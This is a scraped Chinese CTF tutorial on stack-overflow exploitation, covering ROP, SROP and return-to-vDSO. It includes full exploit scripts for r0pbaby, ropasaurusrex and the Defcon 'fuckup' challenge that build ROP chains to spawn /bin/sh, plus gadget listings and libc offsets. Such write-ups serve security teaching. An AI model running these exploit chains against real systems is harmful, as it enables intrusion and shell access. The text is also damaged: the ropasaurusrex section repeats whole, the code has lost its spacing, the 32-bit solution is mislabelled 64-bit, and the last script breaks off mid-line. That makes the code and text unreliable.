Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】现代栈溢出利用技术基础:ROP

0
0
【技术分享】现代栈溢出利用技术基础:ROP

2017-04-05 09:33:04
来源:安全客 作者:beswing

阅读:670次
点赞(0)
收藏





【技术分享】现代栈溢出利用技术基础:ROP

作者:beswing

预估稿费:400RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


栈与系统栈

栈:一种先进后出的数据结构。常见操作有两种,进栈(PUSH) 和弹栈(POP),用于标识栈的属性有两个,一个是栈顶(TOP),一个是栈底(BASE)

程序中的栈:

内存中的一块区域,用栈的结构来管理,从高地址向低地址增长

寄存器esp代表栈顶(即最低栈地址)

栈操作

压栈(入栈)push sth-> [esp]=sth,esp=esp-4 弹栈(出栈)pop sth-> sth=[esp],esp=esp+4

栈用于保存函数调用信息和局部变量


函数调用

如何通过系统栈进行函数的调用和递归

intfun_b(x,y){ intvar_b1,var_b2; rutrunvar_b1var_b2; } intfun_a(a,b){ intvar_a; var_a=fun_b(ab) } intmain(intargc,chrargv,chrenvp) { intvar_main; var_main=func_a{5,5}; rutrunvar_main; }

函数的分布应当是:


【技术分享】现代栈溢出利用技术基础:ROP

当CPU调用func_A函数,会从main函数对应的机器指令跳转到func_A,取值在执行,执行结束后,需要返回又会进行跳转.......以此类似的跳转过程。

函数调用指令: call ret

大致过程:

参数入栈

返回地址入栈

代码区块跳转

栈帧调整:

保存当前栈帧的状态值,为了后面恢复本栈帧时使用(EBP入栈);

将当前的栈帧切换到新栈帧(ESP值装入EBP,更新栈帧底部)

给新栈帧分配空间(ESP减去所需要空间的大小,抬高栈顶)

相关指令:

Call func -> push pc, jmp func

Leave ->mov esp,ebp, pop ebp

Ret -> pop pc

函数约定:

*__stdcall,__cdecl,__fastcall,__thiscall,__nakedcall,__pascal

以 __fastcall为例子:

push参数3#参数由右向左入栈 push参数2 push参数1 call函数地址#push当前指令位置,跳转到所调用函数的入口地址 pushebp#保存旧栈帧的底部 movebp,esp#设置新栈帧底部 subesp,xxx#设置新栈帧顶部

参数传参:取决于调用约定,一般情况下:

X86 从右向左入栈,X64 优先寄存器,参数过多时才入栈


寄存器

重要的寄存器:rsp/esp, pc, rbp/ebp, rax/eax, rdi, rsi, rdx, rcx

ESP: 栈指针寄存器,内存存放着一个指针,指针指向系统栈最上面一个栈帧的底部

EBP:基址指针寄存器,存放着一个指针,指针指向系统栈最上面的一个栈帧底部


【技术分享】现代栈溢出利用技术基础:ROP

堆栈溢出原理

通俗的讲,栈溢出的原理就是不顾堆栈中分配的局部数据块大小,向该数据快写入了过多的数据,导致数据越界,结果覆盖来看老的堆栈数据。


栈溢出的保护机制

栈上的数据无法被当作指令来执行

数据执行保护(NX/DEP)

绕过方法ROP

难以找到想要找的地址

地址空间布局随机化(ASLR)

绕过方法:infoleak 、retdlresolve 、ROP

检测栈数据是否被修改

Stack Canary/ Cookie

绕过方法: infoleak


【技术分享】现代栈溢出利用技术基础:ROP

如今 计算机保护 基本上都是NX+Stack Canary +ASLR

CTF 常用套路: 栈溢出的利用方法

现代栈溢出利用技术基础:ROP

利用signal机制的ROP技术:SROP

没有binary怎么办:BROP 、dump bin

劫持栈指针:stack pivot

利用动态链接绕过ASLR:ret2dl resolve、fake linkmap

利用地址低12bit绕过ASLR:Partial Overwrite

绕过stack canary:改写指针与局部变量、leak canary、overwrite canary

溢出位数不够怎么办:覆盖ebp,Partial Overwrite

现代栈溢出利用技术基础:ROP

讲道理学习ROP ,看蒸米的文章是最实在的。蒸米的一步一步学ROP简直是经典篇目。

ROP的基础学习可以看我翻译的一篇文章


ROP题目分析

承接上一个篇目,这里继续讲ROP的一些题目分析。讲真的,我这里基本上的题目以及攻击方式都来自于Atum师傅在X-MAN的PPT。


CTF中ROP的常规套路

第一次触发漏洞,通过ROP泄漏libc的address(如puts_got),计算system地址,然后返回到一个可以重现触发漏洞的位置(如main),再次触发漏洞,通过ROP调用system(“/bin/sh”)

直接execve(“/bin/sh”, [“/bin/sh”], NULL),通常在静态链接时比较常用

三个练习:

Defcon 2015 Qualifier:R0pbaby

AliCTF 2016:vss

PlaidCTF 2013: ropasaurusrex

相关题目我们可以在CTFs上找到。

Defcon 2015 Qualifier:R0pbaby

我们拿到题目,可以先对题目进行检查,可先看看题目开启的保护

gdb-peda$checksec CANARY:disabled FORTIFY:ENABLED NX:ENABLED PIE:disabled RELRO:disabled

gdb-peda 自带的 checksec 有检测程序是否开启保护,以及所开启的保护。我们可以看到,R0pbaby 所开启的保护有FORTIFY以及NX,这里我们主要所收到的限制是栈上写入的数据不可执行。

以及,程序可以知道是64位的,它的传参优先由寄存器完成。

接着,我们应该了解程序的流程,以及找到程序的漏洞,以及思考其利用方式。


尝试运行程序


【技术分享】现代栈溢出利用技术基础:ROP

我们去尝试运行,摸清了基本上的程序的功能。

功能1,可以获得libc的基址

功能2,可以获得函数的地址

功能3,输入的地方,感觉这个地方可能存在漏洞。

紧接着,我们可以用IDA 分析程序了。


【技术分享】现代栈溢出利用技术基础:ROP

发现一个函数的不适当应用,拷贝的过程中没有判断大小,可能造成缓冲区溢出。


函数原型

voidmemcpy(voiddest,constvoid*src,size_tn);

由src指向地址为起始地址的连续n个字节的数据复制到以destin指向地址为起始地址的空间内。

savedregs是一个IDA关键字,我们可以看到 保存的堆栈帧指针和函数返回地址:在IDA中,我们可以直接单击它。


【技术分享】现代栈溢出利用技术基础:ROP

【技术分享】现代栈溢出利用技术基础:ROP

buf的大小应该是8没错,之后可能造成缓冲区溢出,那么我的解题思路大概是如下:

我们需要找到一个gadget RDI 用来起shell

其次我们需要找到 "bin/sh"的地址

最后,我们需要找到system函数的地址

完成上面三个步骤,我们就可以去构造我们的ROP链来getshell。


如何找到 pop rdi

我们需要找到:

poprdi ret

如此的指令,

我们可以通过简单的objdump来寻找简单的gadget

wings@sw:~/桌面/Rop$pythonROPgadget.py--binary/lib/x86_64-linux-gnu/libc.so.6--only"pop|ret" Gadgetsinformation 0x00000000000206c1:poprbp;popr12;popr13;ret 0x00000000000b5a23:poprbp;popr12;popr14;ret 0x000000000001fb11:poprbp;popr12;ret 0x000000000012bf16:poprbp;popr13;popr14;ret 0x0000000000020252:poprbp;popr14;popr15;poprbp;ret 0x00000000000210fe:poprbp;popr14;popr15;ret 0x00000000000ccb05:poprbp;popr14;poprbp;ret 0x00000000000202e6:poprbp;popr14;ret 0x000000000006d128:poprbp;poprbp;ret 0x0000000000048438:poprbp;poprbx;ret 0x000000000001f930:poprbp;ret 0x00000000000ccb01:poprbx;popr12;popr13;popr14;poprbp;ret 0x000000000006d124:poprbx;popr12;popr13;poprbp;ret 0x00000000000398c5:poprbx;popr12;poprbp;ret 0x00000000000202e1:poprbx;poprbp;popr12;popr13;popr14;ret 0x00000000000206c0:poprbx;poprbp;popr12;popr13;ret 0x00000000000b5a22:poprbx;poprbp;popr12;popr14;ret 0x000000000001fb10:poprbx;poprbp;popr12;ret 0x000000000012bf15:poprbx;poprbp;popr13;popr14;ret 0x000000000001f92f:poprbx;poprbp;ret 0x000000000002a69a:poprbx;ret 0x0000000000001b18:poprbx;ret0x2a63 0x0000000000185240:poprbx;ret0x6f9 0x000000000013c01f:poprcx;poprbx;poprbp;popr12;popr13;popr14;ret 0x000000000010134b:poprcx;poprbx;poprbp;popr12;ret 0x00000000000e9aba:poprcx;poprbx;ret 0x0000000000001b17:poprcx;poprbx;ret0x2a63 0x00000000000fc3e2:poprcx;ret 0x0000000000020256:poprdi;poprbp;ret 0x0000000000021102:poprdi;ret

因为是本地测试,所以我先查看自己本地的libc.so.6


确认libc.so.6


wings@sw:~/桌面/Rop$lddr0pbaby linux-vdso.so.1=>(0x00007ffff7ffd000) libdl.so.2=>/lib/x86_64-linux-gnu/libdl.so.2(0x00007ffff7bd9000) libc.so.6=>/lib/x86_64-linux-gnu/libc.so.6(0x00007ffff7810000) /lib64/ld-linux-x86-64.so.2(0x0000555555554000) wings@sw:~/桌面/Rop$strings-a-tx/lib/x86_64-linux-gnu/libc.so.6|grep"/bin/sh" 18c177/bin/sh

可以知道 偏移是0x18c177

至于sytem函数,程序的第二个功能已经给我们了,至此,我们可以开始构造我们的exp了.

system=0x00007FFFF784F390#get_libc_base() rdi_gadget_offset=0x21102 bin_sh_offset=0x18c177 system_offset=0x45390 frompwnimport* debug=1 ifdebug==1: io=process("./r0pbaby") else: io=remote("127.0.0.1",10002) #db.attach(io) system=0x00007FFFF784F390#get_libc_base() rdi_gadget_offset=0x21102 bin_sh_offset=0x18c177 system_offset=0x45390 libc_base=system-system_offset#systemaddr-system_offset=libc_base print"[+]libcbase:[%x]"%libc_base rdi_gadget_addr=libc_base+rdi_gadget_offset print"[+]RDIgadgetaddr:[%x]"%rdi_gadget_addr bin_sh_addr=libc_base+bin_sh_offset print"[+]\"/bin/sh\"addr:[%x]"%bin_sh_addr system_addr=0x00007FFFF784F390#get_libc_func_addr(h,"system") print"[+]systemaddr:[%x]"%system_addr payload="A"*8 payload+=p64(rdi_gadget_addr) payload+=p64(bin_sh_addr) payload+=p64(system_addr) io.recv(1024) io.sendline("3") io.recv(1024) io.send("%d\n"%(len(payload)+1)) io.sendline(payload) io.sendline("4") io.interactive()

至此 一个简单的64位程序 ROP Pwn题完成!!撒花 撒花~


PlaidCTF 2013: ropasaurusrex

上一个程序简单的调用 system + "bin/sh" 通过寄存器 gadget "pop rdi;ret "传参起shell,接着我们来完成第二个pwn,第二个pwn的特点是,我们需要去info leak 得到信息,然后计算system 的地址。

依旧是老三套,我们先分析一下程序开启的保护。

gdb-peda$checksec CANARY:disabled FORTIFY:disabled NX:ENABLED PIE:disabled RELRO:disabled

只开了NX 其他的都没开,我们可以应用ret2libc 的攻击方式来获取shell,所以我们得通过比如像write、puts、printf类似的函数做info leak用来计算system在内存中的地址。我们用IDA开,一边分析题目流程,一边找题目漏洞。

int__cdeclmain() { sub_80483F4(); returnwrite(1,"WIN\n",4u); } sub_80483F4 ssize_tsub_80483F4() { charbuf;//[sp+10h][bp-88h]@1 returnread(0,&buf,0x100u); }

很清晰,我们可以看到题目流程非常简单,就读取一定字节,然后直接打印WIN\n。紧接着,我们可以看到read函数被错误使用,

.text:080483F2;--------------------------------------------------------------------------- .text:080483F3align4 .text:080483F4 .text:080483F4;===============SUBROUTINE======================================= .text:080483F4 .text:080483F4;Attributes:bp-basedframe .text:080483F4 .text:080483F4sub_80483F4procnear;CODEXREF:main+9p .text:080483F4 .text:080483F4buf=byteptr-88h .text:080483F4 .text:080483F4pushebp .text:080483F5movebp,esp .text:080483F7subesp,98h .text:080483FDmovdwordptr[esp+8],100h;nbytes .text:08048405leaeax,[ebp+buf] .text:0804840Bmov[esp+4],eax;buf .text:0804840Fmovdwordptr[esp],0;fd .text:08048416call_read .text:0804841Bleave .text:0804841Cretn .text:0804841Csub_80483F4endp .text:0804841C .text:0804841

buf大小只有0x88,但是却允许被读入0x100的字节大小,这明显可以造成缓冲区溢出。

wings@sw:~/桌面/Rop$file./ropasaurusrex ./ropasaurusrex:ELF32-bitLSBexecutable,Intel80386,version1(SYSV),dynamicallylinked,interpreter/lib/ld-linux.so.2,forGNU/Linux2.6.18,BuildID[sha1]=96997aacd6ee7889b99dc156d83c9d205eb58092,stripped

我们还知道的一点是,程序是32位,所以我们不需要像第一个题那样去找寄存器 gadget。

在main函数中有一个write函数,我们可以通过rop,来进行信息泄漏。所以攻击思大概是:

构造payload leak 内存中的一个函数地址,比如 read()


计算libc base

构造payload get shell

frompwnimport* debug=1 elf=ELF('./ropasaurusrex') ifdebug==1: libc=ELF('/lib/i386-linux-gnu/libc.so.6') else: libc=ELF('/lib/i386-linux-gnu/libc.so.6') bof=0x80483f4#thevulnerablefunction buffer_len=0x88 context.log_level='debug' #p=remote(args.host,args.port) #p=process('./ropasaurusrex') p=remote('127.0.0.1',10002) payload='' payload+='A'*buffer_len payload+='AAAA'#savedebp payload+=p32(elf.symbols['write']) payload+=p32(bof) payload+=p32(1)#stdout payload+=p32(elf.got['read']) payload+=p32(4)#len p.send(payload) resp=p.recvn(4) read=u32(resp) libc_base=read-libc.symbols['read'] payload='' payload+='A'*buffer_len payload+='AAAA'#savedebp payload+=p32(libc_base+libc.symbols['system']) payload+='AAAA'#cont payload+=p32(libc_base+next(libc.search('/bin/sh'))) p.send(payload) p.sendline('ls') p.interactive()
【技术分享】现代栈溢出利用技术基础:ROP

至此 一个简单的64位程序 ROP Pwn题完成!!撒花 撒花~


PlaidCTF 2013: ropasaurusrex

上一个程序简单的调用 system + "bin/sh" 通过寄存器 gadget "pop rdi;ret "传参起shell,接着我们来完成第二个pwn,第二个pwn的特点是,我们需要去info leak 得到信息,然后计算system 的地址。

依旧是老三套,我们先分析一下程序开启的保护。

gdb-peda$checksec CANARY:disabled FORTIFY:disabled NX:ENABLED PIE:disabled RELRO:disabled

只开了NX 其他的都没开,我们可以应用ret2libc 的攻击方式来获取shell,所以我们得通过比如像write、puts、printf类似的函数做info leak用来计算system在内存中的地址。我们用IDA开,一边分析题目流程,一边找题目漏洞。

int__cdeclmain() { sub_80483F4(); returnwrite(1,"WIN\n",4u); } sub_80483F4 ssize_tsub_80483F4() { charbuf;//[sp+10h][bp-88h]@1 returnread(0,&buf,0x100u); }

很清晰,我们可以看到题目流程非常简单,就读取一定字节,然后直接打印WIN\n。紧接着,我们可以看到read函数被错误使用,

.text:080483F2;--------------------------------------------------------------------------- .text:080483F3align4 .text:080483F4 .text:080483F4;===============SUBROUTINE======================================= .text:080483F4 .text:080483F4;Attributes:bp-basedframe .text:080483F4 .text:080483F4sub_80483F4procnear;CODEXREF:main+9p .text:080483F4 .text:080483F4buf=byteptr-88h .text:080483F4 .text:080483F4pushebp .text:080483F5movebp,esp .text:080483F7subesp,98h .text:080483FDmovdwordptr[esp+8],100h;nbytes .text:08048405leaeax,[ebp+buf] .text:0804840Bmov[esp+4],eax;buf .text:0804840Fmovdwordptr[esp],0;fd .text:08048416call_read .text:0804841Bleave .text:0804841Cretn .text:0804841Csub_80483F4endp .text:0804841C .text:0804841

buf大小只有0x88,但是却允许被读入0x100的字节大小,这明显可以造成缓冲区溢出。

wings@sw:~/桌面/Rop$file./ropasaurusrex ./ropasaurusrex:ELF32-bitLSBexecutable,Intel80386,version1(SYSV),dynamicallylinked,interpreter/lib/ld-linux.so.2,forGNU/Linux2.6.18,BuildID[sha1]=96997aacd6ee7889b99dc156d83c9d205eb58092,stripped

我们还知道的一点是,程序是32位,所以我们不需要像第一个题那样去找寄存器 gadget。

在main函数中有一个write函数,我们可以通过rop,来进行信息泄漏。所以攻击思大概是:

构造payload leak 内存中的一个函数地址,比如 read()

计算libc base

构造payload get shell

frompwnimport* debug=1 elf=ELF('./ropasaurusrex') ifdebug==1: libc=ELF('/lib/i386-linux-gnu/libc.so.6') else: libc=ELF('/lib/i386-linux-gnu/libc.so.6') bof=0x80483f4#thevulnerablefunction buffer_len=0x88 context.log_level='debug' #p=remote(args.host,args.port) #p=process('./ropasaurusrex') p=remote('127.0.0.1',10002) payload='' payload+='A'*buffer_len payload+='AAAA'#savedebp payload+=p32(elf.symbols['write']) payload+=p32(bof) payload+=p32(1)#stdout payload+=p32(elf.got['read']) payload+=p32(4)#len p.send(payload) resp=p.recvn(4) read=u32(resp) libc_base=read-libc.symbols['read'] payload='' payload+='A'*buffer_len payload+='AAAA'#savedebp payload+=p32(libc_base+libc.symbols['system']) payload+='AAAA'#cont payload+=p32(libc_base+next(libc.search('/bin/sh'))) p.send(payload) p.sendline('ls') p.interactive()

小结一下:

read@plt()和write@plt()函数。但因为程序本身并没有调用system()函数,所以我们并不能直接调用system()来获取shell。但其实我们有write@plt()函数就够了,因为我们可以通过write@plt ()函数把write()函数在内存中的地址也就是write.got给打印出来。既然write()函数实现是在libc.so当中,那我们调用的write@plt()函数为什么也能实现write()功能呢? 这是因为linux采用了延时绑定技术,当我们调用write@plit()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got 跳转到真正的write()函数上去。(如果还是搞不清楚的话,推荐阅读《程序员的自我修养 - 链接、装载与库》这本书)

上面的内容来自蒸米 -一步一步 rop

做了两个简单的rop 第一个的64位,第二个是32位,基本上 也能体会到两者的区别了,一者是寄存器传参,一者是栈传参。至于AliCTF的vsvs ,我没找到Bin程序,所以这里就不单独分析了。我们看看别人的wp,例如链接https://segmentfault.com/a/1190000005718685

下一个内容准备学习 VROP,一种利用signal机制的ROP技术。


SROP

最近出现SROP的题目,就是XCTF -NJCTF中的 Pwn300-233

当然,虽然出题人是这么出的,但是也还是有非预期做法的。比如Joker师傅的针对这个题目的强行解决方案,强行猜libc base 然后暴力跑,用ROP 解决。

那么 SROP是什么,与普通的ROP有什么区别呢?我们可以开始学习了。


什么是SROP

SROP: Sigreturn Oriented Programming 系统Signal Dispatch之前会将所有寄存器压入栈,然后调用signal handler,signal handler返回时会将栈的内容还原到寄存器。 如果事先填充栈,然后直接调用signal handler,那在返回的时候就可以控制寄存器的值。

首先,我们得先了解一下signal的调用流程,那么我就能大概了解SROP的利用原理。

正如mctrain,在他的《Sigreturn Oriented Programming (SROP) Attack攻击原理》文章里所提到的,当内核向某个进程发起(deliver)一个signal,该进程会被暂时挂起(suspend),进入内核(1),然后内核为该进程保存相应的上下文,跳转到之前注册好的signal handler中处理相应signal(2),当signal handler返回之后(3),内核为该进程恢复之前保存的上下文,最后恢复进程的执行(4)。


【技术分享】现代栈溢出利用技术基础:ROP

在这四步过程中,第三步是关键,即如何使得用户态的signal handler执行完成之后能够顺利返回内核态。在类UNIX的各种不同的系统中,这个过程有些许的区别,但是大致过程是一样的。

那么,我们是如何利用这个系统调用来做一些不可告人的事情的呢?

在singnal中可以说是,有两个层次,一个是用户,一个是内核层次,我们也可以将这个过程简单的看作。

Usercode singnalhandler sigreturn

如果在mctrain文章中看懂了,signal的调用流程,那么我们就可以讲讲,如何去利用攻击,即我们可以讲讲他的攻击流程。


攻击流程

注: 以下图片内容均来自https://www.slideshare.net/AngelBoy1/sigreturn-ori 的PDF

当内核发起signal


【技术分享】现代栈溢出利用技术基础:ROP

这个时候,我们可以看到栈还并未没push数据,以及ip仍然在User code上。

将数据push到栈中时

将sigreturn syscall的位置 push 进栈


【技术分享】现代栈溢出利用技术基础:ROP

紧接着程序流程跳转至signal handler


【技术分享】现代栈溢出利用技术基础:ROP

从signal handler 返回


【技术分享】现代栈溢出利用技术基础:ROP

然后流程又跳转至 sigreturn code


【技术分享】现代栈溢出利用技术基础:ROP

执行 singreturn syscall


【技术分享】现代栈溢出利用技术基础:ROP

stack 即栈上的内容全部 pop 回register ,流程又重新回到 user code


【技术分享】现代栈溢出利用技术基础:ROP

至此,我们基本完成了攻击,我们可以大概总结下,

我们需要的攻击条件

第一,攻击者可以通过stack overflow等漏洞控制栈上的内容;

第二,需要知道栈的地址(比如需要知道自己构造的字符串/bin/sh的地址);

第三,需要知道syscall指令在内存中的地址;

第四,需要知道sigreturn系统调用的内存地址。

当然,更详细的,如利用SROP构造系统调用串(System call chains)依旧可以从mctrain,在他的《Sigreturn Oriented Programming (SROP) Attack攻击原理》文章找到,我们这里的重点并不是SROP,而是做SROP CTF题。

SROP构造,及攻击流程概括的来讲就是:

伪造sigcontext 结构,push进stack中

设置ret address在sigreturn syscall的gadget

将signal fram中的rip(eip)设置在syscall(int 0x80)

当sigreturn返回时,就可以执行syscall

需要说明的是sigretrun gadget的寻找是有前人总结的

x86

vdso 正常的 syscall handler也会使用的

x64

kernel <3.3

vsyscall (0xffffffff600000) <= 位置一直固定

kernel >= 3.3

libc <= 普通的syscall hander也会使用


VDSO

了解了一下SROP,我们接下来可以再来学习一下什么是VDSO,以及如何直接利用VDSO做ROP

VDSO(Virtual Dynamically-linked Shared Object)是个很有意思的东西, 它将内核态的调用映射到用户态的地址空间中, 使得调用开销更小, 路径更好.

开销更小比较容易理解, 那么路径更好指的是什么呢? 拿x86下的系统调用举例, 传统的int 0x80有点慢, Intel和AMD分别实现了sysenter, sysexit和syscall, sysret, 即所谓的快速系统调用指令, 使用它们更快, 但是也带来了兼容性的问题. 于是Linux实现了vsyscall, 程序统一调用vsyscall, 具体的选择由内核来决定. 而vsyscall的实现就在VDSO中.

Linux(kernel 2.6 or upper)环境下执行ldd /bin/sh, 会发现有个名字叫linux-vdso.so.1(老点的版本是linux-gate.so.1)的动态文件, 而系统中却找不到它, 它就是VDSO. 例如:

wings@sw:~$ldd/bin/sh linux-vdso.so.1=>(0x00007ffee4bd1000) libc.so.6=>/lib/x86_64-linux-gnu/libc.so.6(0x00007f5e19e56000) /lib64/ld-linux-x86-64.so.2(0x0000557ef5001000) wings@sw:~$

为什么要用VDSO 来做ROP?

在X86系统中,传统的system call:int 0x80并不是由很好的效果的,因此在intel 新型的cpu提供了新的syscall指令。

sysenter

sysexit

(Linux kernel 》= 2.6后的版本支持新型syscall机制)

VDSI可以降低在传统的 int 0x80的overhead 以及提供了sigreturn 方便在signal handler结束后返回到user code

如何利用 VDSO 做ROP

我们需要知道 sysenter其参数传递方式和int 0x80是一样的,但是我们需要事前自己做好funcion prolog

pushebp;movebp,sp

以及需要一个 “A good gadgaet for stack pivot”,因为如果没做function prolog可以利用ebp去改变stack位置


Retrun to vDSO

如何找到vdso 地址?

基本上里利用方法就是:

要么暴力解决

利用 信息泄露 即我们所受的information leak

使用ld.so _libc_stack_end找到 stack其实位置,计算ELF Auxiliary vector offset 并从中取出AT_SYSINFO_EHDR

使用ld.so中的_rtld_global_ro的某个offset也有vdso的位置。

我们需要尤其注意的是在开了ASLR的情况下,VDSO的利用是有一定优势的

在x86环境下:

只有一个字节是随机的,所以我们可以很容易暴力解决

在x64环境下

在开启了pie的情形 有 11字节是随机的 例如:CVE-2014-9585

但是在linux kernel 3.182.2版本之后,这个已经增加到了18个字节的随机


重头戏来了:Defcon 2015 Qualifier fuckup

题目可以在这里下载: this

我们照旧来分析程序:

总体上来说

程序应该是开启了ASLR 的,每次

用户执行命令时,FUCKUP会根据类似于WELL512的生成算法生成的随机数,改变二进制映射的存储器的基址。

当我们运行程序时,可以看到有一个菜单

$./fuckup WelcometoFullyUnguessableConvolutedKinetogenicUserspacePseudoransomization,thenewandimprovedASLR. ThisappistohelpprovethebenefitsofF.U.C.K.U.P. MainMenu --------- 1.Displayinfo 2.Changerandom 3.Viewstateinfo 4.Teststacksmash ------- 0.Quit

当运行函数,以及反编译程序之后,我们可以了解程序功能。

当我们选择功能2的时候,“App moved to new random location”,text段和stack会被修改,重新指向新的内存地址

当我们选择3的时候,会告诉我们最后一个随机数(其当前determienstextbase)再次随机化text。这可以用于PRNG的预测

选项4:

Inputbufferis10bytesinsize.Accepting100bytesofdata. Thiswillcrashhoweverthelocationofthestackandbinaryareunknowntostopcodeexecution

我们在功能3找到一个mmap 地址映射函数:

change_random(sub_80481A6) do { seedf=randf_state_(a1)*4294967295.0; seedl=(signed__int64)seedf; expect=(void*)(seedl&0xFFFFF000); actual=mmap(v3,0x804CA6C,v2,a1,a2,0); } while((seedl&0xFFFFF000)!=actual);

所以寻常的思路,我们基本是做不了了

大概是这样的,做了不一样的地址映射,所以其实这个题目还是要回归于VDSO以及SROP。

思路如下:

32位下vdso 只有1字节是随机的,我们这里可以brute force然后利用其gadget

可以直接利用overflow return address,只有100个字节

先利用vdso的gadget做出read sys call 并加大input的大小

read 读入的内容放到tls

tls位置在vdso前一个page

使用sysenter 将stack 换到tls段

然后,我们在第二次输入的时候 可以将 /bin/sh 放入到tls段,这里要注意但是,这个时候tls已经在栈了

紧接着,我们sigreturn gadget 以及 fack signal frame一并放进,然后可以直接execve执行 /bin/sh

进行循环,知道成功getshell

最后的exp,我没能搞定,这里可以参考 hastebin.com的脚本

#!/usr/bin/envpython3 defread_until(socket,x): data=b"" whileTrue: data+=socket.recv(4096) ifxindata: break ifnotdata: raiseRuntimeError("nodataafter:%s"%data) returndata defskip(socket,x): print(read_until(target,x).decode("utf8")) print("=======") if__name__=='__main__': importos importsys importtime importstruct importsocket importargparse parser=argparse.ArgumentParser() parser.add_argument("host") parser.add_argument("port",type=int) args=parser.parse_args() target=socket.socket() target.connect((args.host,args.port)) input("Areyouready?Thisisthetimetoattachgdbandstuff.") skip(target,b"Quit") target.send(b"4\n") skip(target,b"execution") #Wepartiallyoverwritethereturnaddress,weneedtocomeup #withvalid-in-the-futurevaluesforebxandebp. payload=b"a"*14 payload+=struct.pack("<I",0x3e1b7a6c)#ebx/computed payload+=struct.pack("<I",0x3e1b8000)#ebp#mustonlybevalidr/w payload+=b"\x14"#re-triggerinitwithknown/constantrandom_seed,providedbyesi. #Makesurewedon'tsendtoomuchatonce. target.send(payload) time.sleep(1) todo=100-len(payload) whiletodo>0: sending=min(10,todo) target.send(b"a"*(sending-1)+b"\n") time.sleep(0.2) todo=todo-sending print(".",end="",flush=True) print() print("Sentfirststage,waitingformenu.") skip(target,b"Quit") target.send(b"4\n") skip(target,b"execution") print("Sendingexploit.") defget_addr(addr,name): """Getruntimeaddrfromidaaddr.""" ida_base=0x8048000 #Itseemsunderxinetdthereisonemorecalltoprng(). #Notsurewhythisisbutwejusthavetocheckwhat #valuewillbegeneratedandusethat. #run_base=0x39d54000#localnoxinetd run_base=0xfe97c000#localwithxinetd ret=addr+(run_base-ida_base) print("%swillbeat%#.8x"%(name,ret)) returnret defpack_addr(addr,name): returnstruct.pack("<I",get_addr(addr,name)) payload=b"a"*14 payload+=struct.pack("<I",0x42424242)#base payload+=struct.pack("<I",0x42424242)#ebp #ThisissowecanironicallyexpectaF.U.C.K.U.P. payload+=pack_addr(0x080483C0,"welcome") #Setupsyscall.ebx,ecx,edx.eax=11 payload+=pack_addr(0x0804908f,"popeax;popebx;popesi;ret") payload+=struct.pack("<I",11)#execv payload+=struct.pack("<I",0x22222222) payload+=struct.pack("<I",0x22222222) payload+=pack_addr(0x0804961a,"popedx;popecx;popebx;ret") payload+=pack_addr(0x080485f9,"NULL")#environ payload+=pack_addr(0x080485f9,"NULL")#argv payload+=struct.pack("<I",0x22222222) #Nowweusethisneatgadget,/bin/shisrightafterus. payload+=pack_addr(0x0804875b,"leaebx,[esp+4];int0x80") payload+=pack_addr(0x08048a11,"pop;pop;ret") payload+=b"/bin/sh\x00" payload+=struct.pack("<I",0x44444444)#eip,toolazyforcleanexit. payload=payload.ljust(100,b"\xcc") #Ok,sanitycheckandgoodtogo. assertlen(payload)<=100,"payloadtoolarge,%dbytes."%len(payload) target.send(payload) skip(target,b"F.U.C.K.U.P.") target.set_inheritable(True) print("Youshouldbeabletotypestuffnow.") os.system("socatSTDIOFD:%d"%target.fil

Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles





Latest Images